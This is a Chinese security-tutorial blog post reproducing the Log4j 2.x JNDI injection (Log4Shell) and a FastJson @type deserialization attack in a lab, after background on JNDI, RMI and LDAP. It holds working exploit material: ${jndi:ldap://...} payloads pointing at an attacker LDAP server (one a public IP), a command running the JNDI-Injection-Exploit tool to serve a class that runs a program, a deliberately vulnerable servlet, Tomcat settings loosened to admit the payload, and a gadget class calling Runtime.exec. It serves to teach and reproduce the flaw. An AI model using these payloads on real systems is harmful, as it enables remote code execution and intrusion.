Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入

本文主要是介绍Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

Java-项目管理-工具配置

Java-三方组件-Log4J&JNDI

Java-三方组件-FastJson&反射

思维导图


Java知识点:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-项目管理-工具配置

Jar 仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI:Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

  • JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。
  • 反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。

RMI(Remote Method Invocation,远程方法调用)是一种用于在分布式系统中实现远程通信和方法调用的Java API。

RMI 允许在不同的 Java 虚拟机(JVM)上的对象之间进行通信和交互。通过 RMI,客户端可以调用远程服务器上的对象的方法,就像调用本地对象的方法一样。

RMI 的工作原理如下:

  1. 客户端通过命名服务(如 RMI Registry)查找到要调用的远程对象的引用。
  2. 客户端通过远程对象的引用进行远程方法的调用。
  3. 远程对象在服务器端接收到方法调用请求后执行相应的方法。
  4. 执行完方法后,远程对象将返回相应的结果给客户端。

需要注意的是,RMI 是基于 Java 的,并且只能在 Java 环境下使用。它依赖于 Java 的序列化机制来将对象转换为字节序列进行传输。

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和操作分布式目录服务的协议。

LDAP 最初设计用于访问 X.500 目录服务,但随着时间的推移,它也被广泛应用于其他目录服务,如Microsoft Active Directory和OpenLDAP等。

目录服务是一种用于存储和组织大量结构化数据的数据库系统,通常用于存储用户、组织、网络资源等的信息。LDAP 提供了一种标准化的方式来查询、添加、修改和删除目录中的数据。

LDAP 的工作原理如下:

  1. 客户端通过 LDAP 协议与目录服务器建立连接。
  2. 客户端发送查询请求(如搜索、添加、修改等)到目录服务器。
  3. 目录服务器根据请求进行相应的操作,并将结果返回给客户端。
  4. 客户端接收并处理服务器返回的结果。

LDAP 使用基于文本的协议进行通信,通常在 TCP/IP 上运行,默认端口号为389。它采用层次化的数据结构(树状结构)来组织数据,每个节点都有一个唯一的标识符(DN,Distinguished Name)。

LDAP 提供了一些常用的操作,包括:

  1. 搜索(Search):根据特定的条件在目录中搜索数据。
  2. 添加(Add):向目录中添加新的数据项。
  3. 修改(Modify):修改目录中的数据项。
  4. 删除(Delete):从目录中删除数据项。

LDAP 还具有灵活的权限控制和身份认证机制,可以确保只有经过授权的用户能够访问和修改目录中的数据。

经典的JNDI注入漏洞:

Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。

上下文注入:

  1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
  2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}

FastJson JNDI 注入漏洞(JSON )

  1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
  2. 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
  3. 远程代码执行:由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

JNDI注入教程:https://blog.csdn.net/ory001/article/details/121879748

Java-三方组件-Log4J&JNDI

Log4J

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

1Maven引用Log4j

2、接受用户输入值

3Log4j处理错误输入

4、利用jndi-ldap执行

Log4j-组件安全复现

  1. 创建Maven并命名为Log4jDemo
  2. 找到对应版本Apache Log4j Core » 2.14.1,并导入至项目中pom.xml文件中
  3. 并刷新Maven则导入成功
  4. 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
  5. Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
  6. 在 Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。

Maven引用Log4j

Maven安装及配置文件修改:https://www.jb51.net/article/259780.htm#_label0

创建一个新的空项目 Log4jDemo,配置如下图

Maven 引用 Log4j

  1. 在 pom.xml 文件中添加引用
  2. 引用代码是那个 Jar 仓库搜索到之后复制 Maven 的代码
  3. 这里引用的是 2.14.1 版本的

<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>
</dependencies>

引用后左侧就会变成下图所示

创建 Log4jTest.java,编写代码并运行

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {//使用Log4j 实现错误日志输出private static final Logger logger = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {//如果这个code变量是可控的String code="${java:os}";logger.error("{}",code);}}

发现 Log4j 将其当成了命令执行。

 

在网站中测试 Log4j

创建一个 web 应用程序新项目,配置如下:

如上同样需要在 pom.xml 文件中添加 Log4j 引用
创建 Log4jServlet.java

 package com.example.log4jwebdemo;​import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;​import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;​@WebServlet("/log4j")public class Log4jServlet extends HttpServlet {// 构造http web服务 使用带漏洞的Log4j版本 实现功能private static final Logger log = LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code = req.getParameter("code");// code = ${java:os} 想输出执行结果 需要加$ 不然会不执行// ${jndi:ldap://192.168.85.128:1389/qqbmx0}// ldap://192.168.85.128:1389/qqbmx0 是用工具生成的远程可访问的调用方法// 什么方法 -C "calc" 执行计算器的方法   (JNDI注入工具生成的)log.error("{}",code);}}

运行 tomcat 服务器,访问 url 路由,添加 code 参数,最终构造 url 如下

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${java:os}

tomcat 服务器的输出日志有如下类似输出

16:29:24.346 [http-nio-8080-exec-9] ERROR com.example.log4jwebdemo.Log4jServlet - Windows 10 10.0, architecture: amd64-64

利用 Jndi-ldap 执行命令
使用 JNDI 注入工具生成远程可访问的调用方法 (这里用的是 JNDIExploit)
也就是 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "notepad" -A 192.168.85.128要执行的命令      服务器ip

复制生成的链接,构造 payload 如下,令 url 中 code 等于下值然后访问,即可成功执行命令。

${jndi:ldap://192.168.85.128:1389/hy5qgm}

可以正常访问 url 路由,但是当参数变为类似这种 ${java:os} 时,页面直接 400,如图

然后查看 tomcat 输出的日志也在报错,IDEA 里面 tomcat 的报错是乱码汉字,所以就不放出来了。

这是可能因为:在高版本的 tomcat 中无法识别前端提交的字符,如 [] {} 之类

解决办法:

  • 找到 tomcat 下的 conf 目录中的 server.xml,修改其中的配置
    要是你有多个版本的 tomcat,找到你启动的 tomcat 版本的目录下的配置文件进行修改
  • 直接搜索 Connector 关键字定位到下面代码,要是你未修改之前默认配置可能如下
 <Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" URIEncoding="utf-8"/>

添加两个配置,修改后如下,

 <Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" URIEncoding="utf-8" relaxedPathChars="|{}[],%"relaxedQueryChars="|{}[],%"/>
  • 然后重启一下 tomcat 服务器,就可以正常访问了。

Java-三方组件-FastJson&反射

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1Maven引用Fastjson

2、创建需转换类对象User

3、使用Fastjson进行数据转换

4、数据转换(对象转Json,Json转对象)

-对象转Json(带类型)

JSONObject.toJSONString(u)

JSONObject.toJSONString(u,SerializerFeature.WriteClassName)

-Json转对象

JSON.parseObject(exp)

Test:

Runtime.getRuntime().exec("calc");

服务器:

https://blog.csdn.net/guo15890025019/article/details/120532891

Fastjson-组件安全复现

Maven引用Fastjson

User.java

 package com.suyou;​// 给fastjson数据转换测试用的public class User {private String name;private Integer age;​public Integer getAge() {return age;}​public String getName() {return name;}​public void setAge(Integer age) {this.age = age;System.out.println(age);}​public void setName(String name) {this.name = name;System.out.println(name);}}

FastjsonTest.java

 package com.suyou;​import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;​// 使用Fastjson去除了User类数据public class FastjsonTest {public static void main(String[] args) {// u Object对象// Integer age String name 数据User u = new User();u.setAge(20);u.setName("SuYou");//       System.out.println(u);​// 把数据转换为Json格式数据,不想用自带的API(太麻烦)// 所以使用Fastjson来进行数据转换// 将json对象转化为json数据String jsonString = JSONObject.toJSONString(u);System.out.println("这就是json格式:"+jsonString);​// 分析漏洞利用 多输出 转换数据类型 其实前面有一个@type转换对象类包String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);System.out.println("这就是json格式:"+jsonString1);​// 上面是   对象 -> JSON​// 下面是   JSON -> 对象// String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";// 实战中com.suyou.Run 我们不知道 所以一般固定调用java自带的一些包// rmi ldap 去触发远程的class 执行代码(RCE)​JSONObject jsonObject = JSON.parseObject(test);System.out.println(jsonObject);​}}

Run.java

 package com.suyou;​import java.io.IOException;​public class Run {public Run() throws IOException {Runtime.getRuntime().exec("calc");}}

运行 FastjsonTest.java,会进行序列化和反序列化过程,会将 User 对象序列化转换为 Json,后面会将 Json 反序列化转换回对象,此时,我们发现在反序列化转换回对象时,可以显示对象包名,我们可以通过修改包名来改变反序列化回的对象。

String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";
String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";

如上面两个 json,第二个将原本的 User 换为了我们自己写的 Run 对象,而 Run 对象中被我们写入了恶意代码,后续过程将 test 进行了反序列化操作,将 json 反序列化为对象时构造了 Run 对象,执行了其中构造函数的恶意代码,弹出了计算器。

但是在实战过程中,我们不知道 comsuyoo.RUn ,我们无法确定人家哪个包可以用,所以一般固定调用 java 自带的一些包,很多复现都能看到,然后使用 rmi ldap 去触发远程的 class 执行代码(RCE)

Fastjson 漏洞复现:Fastjson漏洞复现_fastjson 1.2.84-CSDN博客

思维导图

这篇关于Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/803810

相关文章

JVM 的类初始化机制

前言 当你在 Java 程序中new对象时,有没有考虑过 JVM 是如何把静态的字节码(byte code)转化为运行时对象的呢,这个问题看似简单,但清楚的同学相信也不会太多,这篇文章首先介绍 JVM 类初始化的机制,然后给出几个易出错的实例来分析,帮助大家更好理解这个知识点。 JVM 将字节码转化为运行时对象分为三个阶段,分别是:loading 、Linking、initialization

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权,允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true (Spring security默认会带有ROLE_前缀),去

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti

Spring Security--Architecture Overview

1 核心组件 这一节主要介绍一些在Spring Security中常见且核心的Java类,它们之间的依赖,构建起了整个框架。想要理解整个架构,最起码得对这些类眼熟。 1.1 SecurityContextHolder SecurityContextHolder用于存储安全上下文(security context)的信息。当前操作的用户是谁,该用户是否已经被认证,他拥有哪些角色权限…这些都被保

Spring Security基于数据库验证流程详解

Spring Security 校验流程图 相关解释说明(认真看哦) AbstractAuthenticationProcessingFilter 抽象类 /*** 调用 #requiresAuthentication(HttpServletRequest, HttpServletResponse) 决定是否需要进行验证操作。* 如果需要验证,则会调用 #attemptAuthentica

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

JS常用组件收集

收集了一些平时遇到的前端比较优秀的组件,方便以后开发的时候查找!!! 函数工具: Lodash 页面固定: stickUp、jQuery.Pin 轮播: unslider、swiper 开关: switch 复选框: icheck 气泡: grumble 隐藏元素: Headroom

Java架构师知识体认识

源码分析 常用设计模式 Proxy代理模式Factory工厂模式Singleton单例模式Delegate委派模式Strategy策略模式Prototype原型模式Template模板模式 Spring5 beans 接口实例化代理Bean操作 Context Ioc容器设计原理及高级特性Aop设计原理Factorybean与Beanfactory Transaction 声明式事物

这15个Vue指令,让你的项目开发爽到爆

1. V-Hotkey 仓库地址: github.com/Dafrok/v-ho… Demo: 戳这里 https://dafrok.github.io/v-hotkey 安装: npm install --save v-hotkey 这个指令可以给组件绑定一个或多个快捷键。你想要通过按下 Escape 键后隐藏某个组件,按住 Control 和回车键再显示它吗?小菜一碟: <template

中文分词jieba库的使用与实景应用(一)

知识星球:https://articles.zsxq.com/id_fxvgc803qmr2.html 目录 一.定义: 精确模式(默认模式): 全模式: 搜索引擎模式: paddle 模式(基于深度学习的分词模式): 二 自定义词典 三.文本解析   调整词出现的频率 四. 关键词提取 A. 基于TF-IDF算法的关键词提取 B. 基于TextRank算法的关键词提取